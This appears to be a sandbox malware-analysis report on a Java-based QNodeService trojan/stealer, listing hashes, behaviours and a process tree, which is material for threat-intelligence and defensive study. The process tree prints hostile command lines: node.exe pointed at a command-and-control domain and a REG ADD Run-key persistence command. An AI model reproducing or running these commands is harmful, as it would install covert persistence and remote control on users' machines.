Analysis
-
max time kernel
92s -
max time network
128s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-11-2020 15:58
Static task
static1
Behavioral task
behavioral1
Sample
VEM RFQ.jar
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
VEM RFQ.jar
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
VEM RFQ.jar
-
Size
59KB
-
MD5
e2b4ab7ed54f4e7c2f255bb3070af2b2
-
SHA1
3bfa10831153ac3c856dc1f4a51ba642648a71d4
-
SHA256
c31445f4089c2a9018e9da605a5e71ddaeb2b70f480e74acbd5a494d1e44ef15
-
SHA512
bf7420d3cbf93c365ba2255780354c1523e6d68921e93e551440b91989d375e8a70d9e6297539552251165b68d31c17ed4e13b18acd7dbc061121a68eabfc8b6
Score
10/10
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 3724 node.exe 732 node.exe 2416 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\514441b8-7354-4615-9114-d02ed1f85baa = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab60-172.dat js behavioral2/files/0x000100000001ab60-177.dat js behavioral2/files/0x000100000001ab60-181.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 wtfismyip.com 23 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 3724 node.exe 3724 node.exe 3724 node.exe 3724 node.exe 732 node.exe 732 node.exe 732 node.exe 732 node.exe 2416 node.exe 2416 node.exe 2416 node.exe 2416 node.exe 2416 node.exe 2416 node.exe 2416 node.exe 2416 node.exe 2416 node.exe 2416 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 3912 wrote to memory of 2896 3912 java.exe 76 PID 3912 wrote to memory of 2896 3912 java.exe 76 PID 2896 wrote to memory of 3724 2896 javaw.exe 80 PID 2896 wrote to memory of 3724 2896 javaw.exe 80 PID 3724 wrote to memory of 732 3724 node.exe 82 PID 3724 wrote to memory of 732 3724 node.exe 82 PID 732 wrote to memory of 2416 732 node.exe 83 PID 732 wrote to memory of 2416 732 node.exe 83 PID 2416 wrote to memory of 1132 2416 node.exe 85 PID 2416 wrote to memory of 1132 2416 node.exe 85 PID 1132 wrote to memory of 748 1132 cmd.exe 86 PID 1132 wrote to memory of 748 1132 cmd.exe 86
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\VEM RFQ.jar"1⤵
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b46354c8.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain abdulk.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3724 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vSLdK8\boot.js --hub-domain abdulk.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_vSLdK8\boot.js --hub-domain abdulk.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2416 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "514441b8-7354-4615-9114-d02ed1f85baa" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "514441b8-7354-4615-9114-d02ed1f85baa" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:748
-
-
-
-
-
-